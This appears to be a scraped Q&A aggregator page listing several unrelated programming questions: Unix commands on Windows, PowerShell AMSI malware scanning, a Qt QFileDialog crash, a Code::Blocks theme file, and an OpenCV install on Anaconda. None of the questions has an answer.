The filename can be in upper or lower case, but lower case is the norm. The stdio.h header file contains, among other things, information related to the printf() function. Notice that the #include directive does not end with a semi-colon. This is because #include is not a keyword that can define a statement, it is an instruction to the compiler.
With few exceptions, C ignores spaces. Having said that spaces and indentation are very important when it comes to reading and debugging the code.
Example 1:
Since all C programs share common elements, understanding one program will help you understand many others. One of the simplest programs is:
#include <stdio.h>
int main(void)
{
printf(“My first program in C.”);
return 0;
}
The fourth line:
printf(“This is a short C program.”):
The printf() function outputs the characters that are contained between the quotes to the screen. printf() is a standard library function which displays the string on the screen.
Input from the keyboard:
scanf() is a standard library function to read a value such as an integer or string from the keyboard.
Example 2:
#include <stdio.h>
int main(void)
{
int Number;
printf(“Enter a Number “);
scanf(“%d”, &Number);
getch();
return 0;
}
Lines 3 (int Number) will be examined in a further lesson.
The seventh line:
getch()
The function named getch() is a get character function that reads the character in from the keyboard, and puts it directly into the program where it is operated on immediately. This program therefore reads a character and immediately displays it on the screen. Notice the use of the keyword void in between the brackets - this signals no vales are being passed to the function main when execution of the function begins - use this from now on. | http://ecomputernotes.com/what-is-c/basic-of-c-programming/what-is-libraries-file | CC-MAIN-2013-20 | refinedweb | 416 | 64.91 |
How to Create or Modify Equivalent Objects in the VMM Library
Updated: May 13, 2016
Applies To: System Center 2012 SP1 - Virtual Machine Manager, System Center 2012 R2 Virtual Machine Manager, System Center 2012 - Virtual Machine Manager
You can use the following procedures to mark file-based library resources (also known as physical resources) as equivalent objects in Virtual Machine Manager (VMM), and to modify equivalent objects. For example, if you have a Windows Server 2012-based virtual hard disk (.vhd) file that is stored in library shares that are located in two sites, such as Seattle and New York, you can mark the .vhd files as equivalent objects. Then, when you create a template for a new virtual machine, and you specify a .vhd that has equivalent objects, VMM can use any instance of the equivalent object instead of being site-specific. This enables you to use a single template across multiple sites.
Account requirements To mark objects as equivalent, you must be a member of the Administrator, Delegated Administrator or Self-Service user roles. Delegated administrators can only mark objects as equivalent on library shares that are within the scope of their user role. Self-service users can only mark objects as equivalent that are in their user role data path in the Self Service User Content node of the VMM library.
To mark objects as equivalent
Open the Library workspace.
In the Library pane, click Library Servers.
In the Physical Library Objects pane (or the Self Service User Objects pane if you are connected as a self-service user), click the Type column header to sort the library resources by type.
Select the resources that you want to mark as equivalent by using either of the following methods:
Click the first resource, press and hold the CTRL key, and then click the other resources that you want to mark as equivalent.
To select a range, click the first resource in the range, press and hold the SHIFT key, and then click the last resource in the range.
For example, if you stored a Windows Server 2008 R2-based .vhd file on the Seattle library share that is named Win2008R2Ent, and an equivalent .vhd file is located in the New York library share, select both of the .vhd files.
Right-click the selected resources, and then click Mark Equivalent.
In the Equivalent Library Objects dialog box, do either of the following, and then click OK:
If you want to create a new set of equivalent objects, in the Family list, type the family name. In the Release list, type a release value.
For example, enter the family name Windows Server 2008 R2 Enterprise, and the release value 1.0.
If you want to add the resources to an existing set of equivalent objects, in the Family list, click an existing family name. In the Release list, click the release value.
The library objects that are considered equivalent are listed in the lower pane.
To verify that the set of equivalent objects was created, in the Library pane, click Equivalent Objects.
Verify that the objects that you marked as equivalent appear in the Equivalent Objects pane. They are grouped by family name.
To mark objects as equivalent, the objects must have the same family name, release value, and namespace. The namespace is assigned automatically by VMM. Equivalent objects that are created by an administrator or delegated administrator are assigned the Global namespace. If a self-service user creates equivalent objects within the Self Service User Content node of the Library workspace, VMM assigns a namespace value that matches the name of the self-service user role. This means that a self-service user cannot mark an object as being equivalent with another object that the self-service user role does not own.
To modify equivalent objects
Open the Library workspace.
In the Library pane, click Equivalent Objects.
In the Equivalent Objects pane, expand a family name, expand the release value, right-click the object that you want to modify, and then click Properties.
On the General tab, modify any of the values, or enter new ones. To remove an object from a set of equivalent objects, delete the family name and release values.
When you are finished, click OK to confirm the settings and to close the dialog box.
Configuring the VMM Library | https://technet.microsoft.com/en-us/library/gg610650 | CC-MAIN-2017-39 | refinedweb | 724 | 61.87 |
Docs |
Forums |
Lists |
Bugs |
Planet |
Store |
GMN |
Get Gentoo!
Not eligible to see or edit group visibility for this bug.
View Bug Activity
|
Format For Printing
|
XML
|
Clone This Bug
Hi!
The line
CONFIG_CHECK="LEDS_CLASS"
in the ebuild has to be replaced with
CONFIG_CHECK="LEDS_CLASS BACKLIGHT_LCD_SUPPORT"
in order for portage to complain if the file "linux/backlight.h" is missing.
"acer_acpi.c" needs this file, as it is included in line 63:
#include <linux/backlight.h>
Best regards
Christian
There's no app-laptop/acer_laptop anywhere; which ebuild you mean?
I'm sorry, that was a typo. It's app-laptop/acer_acpi.
acer_acpie-0.8.2 has 2 warnings while compiling about this backlight:
WARNING: //lib/modules/2.6.23-hardened-r1/extra/acer_acpi.ko needs unknown
symbol backlight_device_unregister
WARNING: //lib/modules/2.6.23-hardened-r1/extra/acer_acpi.ko needs unknown
symbol backlight_device_register
And if i try to load the module with "modprobe acer_acpi", it fails because of
both symbols are unknown, so i have to stick with acer_acpi-0.7, which works
fine for me
Does this happen with acer_acpi-0.10?
I cant tell because of bug 208577
Compiled 0.10 with -j1 and it compiles and works ok for the moment (sorry,
cannot change status of the bug)
(In reply to comment #6)
> Compiled 0.10 with -j1 and it compiles and works ok for the moment (sorry,
> cannot change status of the bug)
Did you enable BACKLIGHT_LCD_SUPPORT in your kernel, or are your kernel
settings the same that failed with 0.8.2 in comment #3?
I cant say for sure any more. If i remember it right, i tried first without and
afterwards with BACKLIGHT_LCD_SUPPORT (perhaps i did not reboot with that
kernel?), but i am not sure.
(In reply to comment #4)
> Does this happen with acer_acpi-0.10?
I can confirm that acer_acpi-0.10 compiles fine with -j1. | http://bugs.gentoo.org/195803 | crawl-002 | refinedweb | 317 | 67.45 |
02-20-2018 08:53 AM
Hi everyone,
We are implementing a Geospatial Portal 2016 EP04 solution that is using a custom ASP.NET membership provider for authentication. Once the user is logged in we would like to add a function to the Geospatial Portal template that a user can use to log out.
We can't use the Log Out option from the Authentication tab for two reasons.
Does anyone have recommendations on how we could allow a user to log out of the application and be passed back to the login screen (LoginForm.aspx) or another URL (e.g. redirect to the home page of the solution we are building).
Thanks,
Colin
Solved! Go to Solution.
02-22-2018 04:42 AM
Hi Colin,
How about a simple button with link to an ASPX page (combination of JS and .NET code) that will take care of the session, cookies and then redirect to LoginForm.aspx?
Regards,
Jan
02-22-2018 04:44 AM
We've not done this type of work before. Can you share any JS and .NET code samples for clearing session and cookies?
02-22-2018 05:12 AM
Actually, with form authentication, this is as simple as it could be
Create Logout.aspx file:
<%@ Page <html xmlns="" runat="server"> <head runat="server"> <title>Logging out...</title> </head> <body> <form id="form1" runat="server"> </form> </body> </html>
Create Logout.aspx.cs
using System; using System.Web; using System.Web.Security; public partial class Logout : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { FormsAuthentication.SignOut(); Response.Redirect("LoginForm.aspx"); } }
Then, for example, add a button to the toolbar by placing this into your custom JS file that is referenced in ASPX:
$GP.ready(function () { $GP.ui.toolbar.add({ categoryIndex: 0, xtype: "tbbutton", text: "Logout", handler: function (b) { window.location.replace("Logout.aspx"); } }); });
03-06-2018 08:56 AM
Thanks for your suggestion Jan. It clears the session correctly ensuring a user cannot get back into the web application without entering valid credentials again. | https://community.hexagongeospatial.com/t5/Developer-Discussions/Geospatial-Portal-Log-Out-Function/m-p/21482 | CC-MAIN-2019-09 | refinedweb | 340 | 59.7 |
9. Klasy¶
Klasy dostarczają sposoby powiązania informacji i funkcjonalności. Stworzenie nowej klasy, tworzy nowy typ obiektu, pozwalający na tworzenie nowych instancji tego typu. Każda instancja klasy może mieć atrybuty przypisane w celu utrzymania jej stanu. Instancje klas mogą również posiadać metody (zdefiniowane przez jej klasę) w celu modyfikacje ich stanu.
W porównaniu do innych języków programowania, w Pythonie, mechanizm dodawania nowych klas wymaga niewielkiej ilości nowej składni i semantyki. Jest to połączenie mechanizmu klas, które można znaleźć w C++ i Modula-3. Klasy w Pythonie dostarczają wszystkie standardowe cechy Programowania Obiektowego: mechanizm dziedziczenia klas pozwala na tworzenie wielu bazowych klas, pochodne klasy mogą nadpisać każdą metodę klasy lub klas bazowej i metoda może przywołać metody klas bazowych o tej samej nazwie. Obiekty mogą zawierać dowolną ilość i rodzaj danych. Zarówno klasy jak i moduły są częścią dynamicznej natury Python’a: są tworzone w trakcje działania programu i mogą być modyfikowane później, po stworzeniu.
Korzystając z terminologii C++, składniki klas (także pola)są publiczne (z wyjątkiem zobacz Private Variables), a wszystkie metody są wirtualne. Podobnie jak w Moduli-3, nie ma skrótów pozwalających na odnoszenie się do składników klas z ich metod: metoda jest deklarowana poprzez podanie wprost jako pierwszego argumentu obiektu, który w czasie wywołania metody zostanie jej przekazany niejawnie. Podobnie jak w Smalltalku, same klasy także są obiektami. Dostarcza nam to wyrażeń semantycznych pozwalających na importowanie i zmianę nazw klasy. Inaczej niż w C++ i Moduli-3 wbudowane typy mogą stanowić klasy z których klasa użytkownika będzie dziedziczyć. Podobnie jak w C++, większość wbudowanych operatorów ze specjalną składnią (operatory arytmetyczne, indeksowanie) mogą być przedefiniowane przez instancje klasy.
(Z powodu braku ogólnie zaakceptowanej terminologii w kontekście klas, będę używał terminów ze Samlltalk i C++. Użyłbym Modula-3 ponieważ semantyka programowania obiektowego jest mu bliższa Pythonowi niż C++ ale zakładam, że mniej czytelników o nim słyszało.)
9.1. Kilka słów o nazwach i obiektach¶ a possibly surprising effect on the semantics of Python code involving mutable objects such as lists, dictionaries, and most other types... Incidentally, knowledge about this subject is useful for any advanced Python programmer.
Let’s begin with some definitions.
A namespace is a mapping from names to objects. Most namespaces are currently
implemented as Python dictionaries, but that’s normally not noticeable in any
way (except for performance), and it may change in the future. Examples of
namespaces are: the set of built-in names (containing functions such as
abs(), and
built-in exception names); the global names in a module; and the local names in
a function invocation. In a sense the set of attributes of an object also form
a namespace. The important thing to know about namespaces is that there is
absolutely no relation between names in different namespaces; for instance, two
different modules may both define a function
maximize without confusion —
users of the modules must prefix it with the module name.
By the way, I use the word attribute for any name following a dot — for
example, in the expression
z.real,
real is an attribute of the object
z. Strictly speaking, references to names in modules are attribute
references: in the expression
modname.funcname,
modname is a module
object and
funcname is an attribute of it. In this case there happens to be
a straightforward mapping between the module’s attributes and the global names
defined in the module: they share the same namespace! are created at different moments and have different lifetimes. The
namespace containing the built-in names is created when the Python interpreter
starts up, and is never deleted. The global namespace for a module is created
when the module definition is read in; normally, module namespaces also last
until the interpreter quits. The statements executed by the top-level
invocation of the interpreter, either read from a script file or interactively,
are considered part of a module called
__main__, so they have their own
global namespace. (The built-in names actually also live in a module; this is
called
builtins.)
The local namespace for a function is created when the function is called, and deleted when the function returns or raises an exception that is not handled within the function. (Actually, forgetting would be a better way to describe what actually happens.) Of course, recursive invocations each have their own local namespace.
A scope is a textual region of a Python program where a namespace is directly accessible. „Directly accessible” here means that an unqualified reference to a name attempts to find the name in the namespace.
Although scopes are determined statically, they are used dynamically. At any time during execution, there are 3 or 4).
Usually, the local scope references the local names of the (textually) current function. Outside functions, the local scope references the same namespace as the global scope: the module’s namespace. Class definitions place yet another namespace in the local scope.
It is important to realize that scopes are determined textually: the global scope of a function defined in a module is that module’s namespace, no matter from where or by what alias the function is called. On the other hand, the actual search for names is done dynamically, at run time — however, the language definition is evolving towards static name resolution, at „compile” time, so don’t rely on dynamic name resolution! (In fact, local variables are already determined statically.)
A special quirk of Python is that – if no
global or
nonlocal
statement is in effect – assignments to names always go into the innermost scope.
Assignments do not copy data — they just bind names to objects. The same is true
for deletions: the statement
del x removes the binding of
x from the
namespace referenced by the local scope. In fact, all operations that introduce
new names use the local scope: in particular,
import statements and
function definitions bind the module or function name in the local scope.
The
global statement can be used to indicate that particular
variables live in the global scope
definition was entered) is reinstated, and the class object is bound here to the
class name given in the class definition header (
ClassName in the
example).
9.3.2. Class Objects¶:
"A simple example class".
Class instantiation uses function notation. Just pretend that the class object is a parameterless function that returns a new instance of the class. For example (assuming the above class):
x = MyClass()
creates a new instance of the class and assigns this object to the local
variable
x.
The instantiation operation („calling” a class object) creates an empty object.
Many classes like to create objects with instances customized to a specific
initial state. Therefore a class may define a special method named
__init__(), like this:
def __init__(self): self.data = []
When a class defines an
__init__() method, class instantiation
automatically invokes
__init__() for the newly-created class instance. So
in this example, a new, initialized instance can be obtained by:
x = MyClass())
9.3.3. Instance Objects¶
Now what can we do with instance objects? The only operations understood by instance objects are attribute references. There are two kinds of valid attribute names: data attributes and methods.
data attributes correspond to „instance variables” in Smalltalk, and to „data
members” in C++. Data attributes need not be declared; like local variables,
they spring into existence when they are first assigned to. For example, if
x is the instance of
MyClass created above, the following piece of
code will print the value
16, without leaving a trace: object before the first argument.
If you still don’t understand how methods work, a look at the implementation can perhaps clarify matters. When a non-data attribute of an instance is referenced, the instance’s, the class:
class Dog:>> e.kind # shared by all dogs 'canine' >>> d.name # unique to d 'Fido' >>> e.name # unique to e 'Buddy'
As discussed in Kilka słów o nazwach i obiektach,
If the same attribute name occurs in both an instance and in a class, then attribute lookup prioritizes the instance:
>>> class Warehouse:>> w1 = Warehouse() >>> print(w1.purpose, w1.region) storage west >>> w2 = Warehouse() >>> w2.>> print(w2.purpose, w2.region) storage east:)
The above example would work even if
MappingSubclass were to introduce a
__update identifier since it is replaced with
_Mapping__update in the
Mapping class and
_MappingSubclass__update in the
MappingSubclass
class respectively.
Note that the mangling rules are designed mostly to avoid accidents; it still is possible to access or modify a variable that is considered private. This can even be useful in special circumstances, such as in the debugger.
Notice that code passed to
exec() or
eval() does not consider the
classname of the invoking class to be the current class; this is similar to the
effect of the
global statement, the effect of which is likewise restricted
to code that is byte-compiled together. The same restriction applies to
getattr(),
setattr() and
delattr(), as well as when referencing
__dict__ directly.
9.7. Odds and Ends¶
Sometimes it is useful to have a data type similar to the Pascal „record” or C „struct”, bundling together a few named data items. An empty class definition will do nicely:
class Employee: pass john = Employee() # Create an empty employee record # Fill the fields of the record john.name = 'John Doe' john.dept = 'computer lab' john.salary = 1000
A piece of Python code that expects a particular abstract data type can often be
passed a class that emulates the methods of that data type instead. For
instance, if you have a function that formats some data from a file object, you
can define a class with methods
read() and
readline() that <str_iterator object at 0x10c90e650> >>>']
Przypisy
- 1. | https://docs.python.org/pl/3.9/tutorial/classes.html | CC-MAIN-2022-05 | refinedweb | 1,605 | 52.8 |
Building Flappy Bird #9 – Visuals and Beautification
In this section, we’ll do a little cleanup, and finally cover the steps to build to different devices.
The first thing we need to do is randomize our bubble heights. While we can pop them easily, we really want some variation to make it feel more polished.
To accomplish this, we’ll use a familiar technique. UnityEngine.Random
Open the Bubble.cs script.
We need to make two changes here. First, Change the Reset() method to match this
void Reset() { float randomHeight = Random.Range(-8f, -18f); transform.position = new Vector3(transform.position.x, randomHeight, transform.position.z); }
This will give us a randomized starting height for the bubble.
If you play now, you’ll notice the bubbles are still coming at the same time. The reason this happens is we aren’t randomizing until after the bubble has been popped and reset. To fix this, we’ll just call reset when the game starts.
In the Bubble.cs file, add a new method named Start() that will call Reset()
Start is another built in method that we’re going to hook into. It’s called when the scene starts or when a new GameObject is first added to the scene.
Your final Bubble.cs script should look like this
using UnityEngine; public class Bubble : MonoBehaviour { [SerializeField] private float _moveSpeed = 1f; void Start() { Reset(); } // Update is called once per frame void Update() { transform.Translate(Vector3.up * Time.deltaTime * _moveSpeed); if (transform.position.y > 10) Reset(); } void Reset() { float randomHeight = Random.Range(-8f, -18f); transform.position = new Vector3(transform.position.x, randomHeight,); } }
Play Time
Now try playing again.
Because we call Reset when the game starts, all of the bubbles have a random initial height.
Bubble Colors
Our current bubble is pretty grey, it’s time to lighten it up a bit.
If you have access to Photoshop (there’s a free trial available), open up the bubble.png file and we’ll make an adjustment to it.
Optional – Photoshop
If you don’t have Photoshop, or just don’t want to edit the image, you can skip this section and download the modified version in the next section.
With bubble.png open, select Image->Adjustments->Levels
Move the left slider or type in the value 77
Save your file and notice how much brighter your bubble is.
Alternative – Download the Bubble
The modified bubble is available for download here
Just download it to your Art folder inside your Unity project and replace your existing bubble.
Material Changes
Now we’re going to adjust the alpha channel on our bubble material.
The alpha channel controls transparency. We’ll be increasing the transparency (actually reducing opacity) to make our bubble look a bit better.
In your scene, select one of the bubbles, then look to the inspector.
Find the Color section and click on it
Adjust the Alpha channel to 170 and watch the bubble get a little transparent.
Background Time
Right now, our background is pretty dull. It’s hardly a background at all, it’s really just a boring solid blue.
Let’s fix it!
Download this gradient color image
Place the GradientBackground.png file in your Art folder.
Create a new Sprite
Name your sprite “Background”
Using the sprite picker, select the GradientBackground that you just downloaded
Adjust the transform values to match these
Background Transform values
Where’s my stuff??
You may be wondering where your fish and bubbles have gone…
Does your screen look something like this?
If so, don’t worry!
We just need to adjust the “Order in Layer” value on the Sprite Renderer
Order in Layer determines what order the sprites are drawn in. Sprites that are drawn later will always cover sprites drawn before them (unless they’re transparent like our bubble).
Set “Order in Layer” to -1
Horray!
Your scene view should now look like this
Good work making your game look better.
Personal Touch
Now, I want you to add a bit of your own touch to the game.
Find a new background that you really like and put it in place of the gradient.
I’d recommend you find an image on google using a search that resembles this
When you put in your own custom image, you’ll need to adjust the size of the transform to make it fit right and not be stretched out.
Here’s what my final version looks like.
Now that you’ve finished yours, post a screenshot in the comments and show everyone what you’ve done!
Sharing
Up Next: Building Unity Projects – We’ll cover how to get your game built and shared with your friends on PC, Mac, Android, and in a web browser. | https://unity3d.college/2016/01/25/intro-to-unity3d-building-flappy-bird-part-9/ | CC-MAIN-2020-34 | refinedweb | 790 | 74.59 |
I was looking (a am still looking) for a good way to present the result of my ramblings on applicative functors without hurting the feelings of people who would like to start a Scala journey.
As a "young" Scala explorer I would like to tell them, that I really started understanding the full potential of Scala while starting to deal with category theory concepts and typing concepts.
Reading Learn you a haskell (LYAH) is a good start and trying to reproduce some of the example from Haskell to Scala is a nice move. I only started reading my first book on conceptual mathematics after reading LYAH and it is helping. David Greco told me recently that patterns like Monads, Functors, Applicative Functors etc. could be viewed as a kind of mathematically proven patterns. I stick to his point of view, claiming in addition that these are mathematically proven programming patterns (in opposition to architectural patterns).
As so, learning these mathematical concepts represents a big part of our programming job. Nevertheless, I also claim that it is possible, if not recommended, to adopt both the mathematical understanding approach and the practical approach.
We foresaw in previous posts that monads can be seen as contexts, allowing to safely manipulate their content with higher level functions with the help of functors:
trait Functor[M[_]] { def map[T, U](source: M[T])(f: T => U): M[U]; } trait Monad[M[_]] { def apply[T](data: T): M[T] def flatten[T](m: M[M[T]]): M[T] def flatMap [T, U](source: M[T])(t: T => M[U])(implicit f: Functor[M]): M[U] = { flatten(f.map(source)(t)) } }
where M[_] is the type constructor of the container assumed as a Monadic container. Paired with the following implicit definitions located in a package.scala file,
implicit def ToFunctor[F[_] : Functor, A](ma: F[A]) = new { val functor = implicitly[Functor[F]] final def map[B](f: A => B): F[B] = functor.map(ma)(f) } implicit def ToMonad[M[_]: Functor : Monad, T](source: M[T]) = new { val monad = implicitly[Monad[M]] def flatMap[U](f: T => M[U]): M[U] = monad.flatMap(source)(f) }
our Monadic definitions can make us taking benefit from the for comprehensions in scala. Having created a Writer to log traces during operations, logging a simple operation became:
def logNumber(x: Int): StringWriter[Int] = StringWriter[Int](x, "Got number " + x + " ") val value = for { a <- logNumber(3) b <- logNumber(5) } yield a * b logNumber(3).flatMap(x => logNumber(5).map(y => x * y))
where the log operation - as a side effect - has been cleanly separated from the operation per se. I have slightly modified my definitions after reading again Joshua Suereth book and some enlightning discussion with David. I adopted a definition of Monads parameterized with the container type only.
(Another rule: when like me you are learning an try to pull your level up, try to find skilled people. There is no shame in not understanding or knowing, even at 40. There is shame only in living in the comfort zone).
To Joshua: if I have the chance you read the post some day, thanks for the book (please don't beat me for the part of codes I have stolen in my small project :))
Until now, we made no progress in understanding Applicative Functors ! I know. Considering our monad definition, a base frustration comes from the fact that we can only map a single argument function:
final def map[B](f: A => B): F[B] = functor.map(ma)(f)
In essence, what we would like to be able to, is to manipulate a bunch of values embedded in structures like our Monads. It would be really interesting to work at a higher order level allowing us to manipulate our Monadic values with our simple functions in a very expressive (aka self explanatory) way, like in Haskell:
ghci>(+) <$> (Just 2) <*> (Just 3) Just 5
Here a simple (+) operation is applied to two possible values producing a possible values. With an impossible value argument, this would become:
ghci>(+) <$> (Just 2) <*> Nothing Nothing
so an impossible value.
In one line, thanks to this "Applicative style", we apply an operation on two possible operands, pulling off the values from their context and pushing the new value in an identical context.
Why the Applicative name: these functions a rpovided by the scala typeclass definition:
In addition we have the benefit of managing the possible non existence of a one of the operands.
Why the Applicative name: these functions a rpovided by the scala typeclass definition:
class (Functor f) => Applicative f where pure :: a -> f a (<*>) :: f (a -> b) -> f a -> f b (<$>) :: (Functor f) => (a -> b) -> f a -> f b f <$> x = fmap f x
In addition we have the benefit of managing the possible non existence of a one of the operands.
Can we do that in Scala ? We can. We are going to produce something like:
def add = (a: Int, b: Int) => a + b add :@: List(1, 2) :*: List(3, 4)
where :@: stands for <$> and :*: for <*>.
Almost...because both :@: and :*: express the same intent but mostly as "sugar" combining more elementary functions
The idea is simply to "lift" the applied function into the world of our container and to use function currying.
Like explained in the link and in J. Suereth book, we can view currying as splitting a function taking multiple input arguments into a function that takes a single argument and return a function that takes a single arguments and so on...:
scala> val f = (a: Int, b: Int, c: Int) => b * b - 4 * a * c f: (Int, Int, Int) => Int = <function3> scala> val c = f.curried c: Int => Int => Int => Int = >function1> scala> c(1) res3: Int => Int => Int = >function1>
In the previous Haskell example, the <$> function lift the (+) function into the world of Maybe Monads and partially applies it to (Just 2), then, apply the embedded partially applied function to (Just 3) via the <*> function (do not confuse with partial functions in Scala)
The following trait intends to lift up functions and apply lifted functions to "Applicative", assimilated to Monad and Functors:
trait Applicative[F[_]] { self: Functor[F] with Monad[F] => def pure[T](data: T) = apply[T](data: T) def applyA[T, U](fs: F[T => U])(source: F[T]): F[U] = { implicit val f: Functor[F] = self flatMap(source) { x: T => map(fs)(f => f(x)) } } def mapA[T, U](t: T => U, source: F[T]): F[U] = { applyA(pure(t))(source) } }
- Lifting is realized through the invocation of the pure function.
- applyA extracts the function(s) embedded in the F[_] fs context, the values x embedded in the F[_] source context and produces a M[_] result containing the output of f(x).
- mapA lifts up an input function
What about the currying operation ? As Scala exposes 23 traits abstracting functions taking up to 22 parameters we should take into account all the possibilities. Let us consider two of them:
Basically the function liftA2 takes a method with two parameters, two Monadic instances, then producing a Monadic result after applying the function to the embedded values in the Monadic instances.Basically the function liftA2 takes a method with two parameters, two Monadic instances, then producing a Monadic result after applying the function to the embedded values in the Monadic instances.def liftA2[T, P, Q, A[_]](f: (T, P) => Q, a1: A[T], a2: A[P])(implicit applicative: Applicative[A]): A[Q] = { import applicative._ applyA(mapA(f.curried, a1))(a2) } def liftA3[T, P, Q, R, A[_]](f: (T, P, Q) => R, a1: A[T], a2: A[P], a3:A[Q])(implicit applicative: Applicative[A]): A[R] = { import applicative._ applyA(applyA(mapA(f.curried, a1))(a2))(a3) }
Scala allows for the currying of the f function using the application of the curried method on the function instance.
This is where the method mapA gracefully lift up the curried function instance and applies it once to the a1 argument producing a partially applied function.
We can then apply applyA on the resulting partially applied function and a2, producing the final result.
Same for liftA3 and so on for hypothetical liftA4,5,6 etc.
Wait a minute: applyA(mapA(f.curried, a1))(a2) does not offer any "Applicative style" sugar. I struggled a lot with the sugar syntax and reading again chapter 11 of Joshua book provided me with the path to the solution:
case class BuilderToApplicative[T1, A[_]](m1: A[T1])(implicit applicative: Applicative[A]) { def :@:[T2](f: T1 => T2): A[T2] = applicative.mapA(f, m1) def :*:[T2](m2: A[T2]) = BuilderToApplicative2[T2](m2) case class BuilderToApplicative2[T2](m2: A[T2]) { def :@:[T3](f: (T1, T2) => T3) = Applicative.liftA2(f, m1, m2) def :*:[T3](m3: A[T3]) = BuilderToApplicative3[T3](m3) case class BuilderToApplicative3[T3](m3: A[T3]) { def :@:[T4](f: (T1, T2, T3) => T4): A[T4] = Applicative.liftA3(f, m1, m2, m3) } } } implicit def toApplicative[T, A[_]](m: A[T])(implicit applicative: Applicative[A]) = new BuilderToApplicative[T, A](m)
This solution is almost identical to Joshua version of its config builder.
My first version was incomplete as I was expecting a simple BuilderToApplicative class to handle the :@: and :*: function application with a liftA2 method (Sometime you hate yourself ;)).
A better understanding of Joshua's book proved me that his builder was the right answer, creating a building environment with same number of levels as the possible maximum number of arguments in a Scala functions. We provide here the two first level. No doubt I will provide the others when needed
In each BuilderToApplicativeX class we apply a liftAX method (Joshua if we ever meet some day I owe your a capuccino, a tea, etc. whatever you want).
Why not applying that to lists. Defining an ad-hoc binding between lists and Applicative trait:
we try:we try:implicit object ApplicativeList extends Applicative[List] with Monad[List] with Functor[List]{ override def map[T, U](source: List[T])(f: (T) => U) = source.map(f) override def apply[T](from: T) = List(from) override def flatten[T](m: List[List[T]]) = m.flatten }
providing :providing :def add = (a: Int, b: Int) => a + b def addd = (a: Int, b: Int, c: Int) => a + b + c def basics() { println(liftA2(add, List(1, 2), List(3, 4))) println(liftA3(addd, List(1, 2), List(3, 4), List(5, 6))) println(add :@: List(1, 2) :*: List(3, 4)) println(addd :@: List(1, 2) :*: List(3, 4) :*: List(5, 6)) }
scala> import com.promindis.user._ import com.promindis.user._ scala> import UseApplicativeFunctor._ import UseApplicativeFunctor._ scala> basics() List(4, 5, 5, 6) List(9, 10, 10, 11, 10, 11, 11, 12) List(4, 5, 5, 6) List(9, 10, 10, 11, 10, 11, 11, 12)
Notice that these one liners easily replace for comprehensions expressions, leading to clearer syntax.
Why all that stuff? My initial intent was to reproduce a kind of sequence function like in Haskell. The sequence function provides from a list of Monadic values a Monadic list a values and I found (still find) that priceless:
So List[A[T]] produces A[List[T]]. Taking Joshua's example of producing connection data from identifiers:So List[A[T]] produces A[List[T]]. Taking Joshua's example of producing connection data from identifiers:def sequence[T, A[_]](input: List[A[T]])(implicit applicative: Applicative[A]): A[List[T]] = { import applicative._ input match { case (x :: xs) => def cons(head: T, list: List[T]): List[T] = head :: list liftA2(cons, x, sequence(xs)) case _ => pure(List.empty[T]) } }
we getwe getdef getConnection(input: List[Option[String]]) = { def doSomething(fromParameters: List[String]) = fromParameters.toString() for { withParams <- input.sequenceA } yield doSomething(withParams) }
scala> getConnection(List(Some("url"), Some("user"), Some("passwd"))) res5: Option[String] = Some(List(url, user, passwd)) scala> getConnection(List(Some("url"), None, Some("passwd"))) res6: Option[String] = None
only by applying the sequence method to the list using the implicit definition:
implicit def toSequenceable[T, A[_]](list: List[A[T]])(implicit applicative: Applicative[A]) = new { def sequenceA = Applicative.sequence(list) }
We provide ad-hoc meaning to our list of Option's, returning a valuable answer only when all the elements are provided. No NullPointerException, no catch, no if. Just fluent language. A more useful example? Taking a class a workers, executable in pool, and provided a naive Applicative definition for Future traits:
case class W(value: Int) extends Callable[Int] { def call() = { Thread.sleep(3000) value } } object Futures { implicit object ApplicativeFuture extends Applicative[Future] with Monad[Future] with Functor[Future] { def apply[T](data: T) = new Future[T] { override def get() = data override def get(timeout: Long, unit: TimeUnit) = get() override def cancel(mayInterruptIfRunning: Boolean) = false override def isCancelled = false override def isDone = true } def flatten[T](m: Future[Future[T]]) = m.get() def map[T, U](source: Future[T])(f: (T) => U) = new Future[U] { override def get() = f(source.get()) override def get(timeout: Long, unit: TimeUnit) = f(source.get(timeout, unit)) override def cancel(mayInterruptIfRunning: Boolean) = false override def isCancelled = false override def isDone = true } }
I can now transform a list of Futures into a Future of a list of the expected values:
def exec(workers: W*)(implicit pool: ExecutorService): List[Int] = { workers.toList.map {pool.submit(_)}.sequenceA.get() } def futures() { implicit val pool = Executors.newCachedThreadPool() val start = System.currentTimeMillis val result = add :@: exec(W(1), W(2), W(3)) :*: exec(W(4), W(5), W(6)) val ellapsed = System.currentTimeMillis - start println("Got " + result + " in " + ellapsed + " ms") pool.shutdown() }
For a more real-world example, check the Akka application
The code presented here is vailable there. That's all folks. See you (very) soon with my last ramblings in the Disruptor world in Scala.
Be seeing you !!!:)
1 comments:
Great post. Very nicely explained. Keep 'em coming. :) | http://patterngazer.blogspot.com/2012/02/hello-again.html | CC-MAIN-2018-13 | refinedweb | 2,319 | 50.67 |
unix basics commands like ls is not working on my windows based system
I have installed python software kit and trying to run it in the windows command line. but the basic unix commands like listing a file (ls) does not seem to work. what do I do here!
- Is there anyway to configure Powershell to use AMSI for malware detection when executing certain commands?
I've been researching on AMSI (Anti Malware Scan Interface) for a while and AFAIK Powershell is using AMSI to check for malware signature only when "Invoke-Expression" is called. This is pretty effective but only when we provide appropriate signatures. In fact malware author often obfuscate their script to make them harder to be detected. For example: the domain "malicious-website.com" can be constructed in a thousand ways so it's very hard to detect it statically.
My question is: Can we configure Powershell to call AMSI when certain commands are called? For example: Invoke-WebRequest, Get-Content,... ?
-
- Native QFileDialog crashed when pop-ups attempted to show before icons loaded
My program has a file choose dialog implemented via QFileDialog. That Qt class uses native Windows dialog, which runs in its own thread. When I start my Qt program in debugging mode (with gdb) and execute QFileDialog via MenuAction press, then I put my cursor over the icons of files showed in QFileDialog, I get SIGSEGV if files haven't loaded icon pictures at this moment. If I wait for all icons to load, everything is OK. It's like a bug in Windows or in Qt port internal code.
Stack of the inner thread of QFileDialog:
- Code Blocks Share Config do not have default.conf file and instead have default.cbKeyBinder20.conf , preventing me from installing dark theme
I'm trying to install a dark theme on Code blocks but it doesn't work. I was following this quick tutorial
The problem is that at 0:36 he opens a
default.conffile inside the Destination Configuration File in the Code Blocks Share Config, but instead I have
default.cbKeyBinder20.confand when I click on it I get an error window
TinyXML error: Error document empty.
Please mods, do not close this post, I'm too inexperimented with coding programs to understand the link between posts, you certainly can because you are experimented but I'm not, I started python/C a week ago.
Please can someone help me and please do not close of my post that's not helping me.
- Unable to install Opencv on Anaconda (Windows)
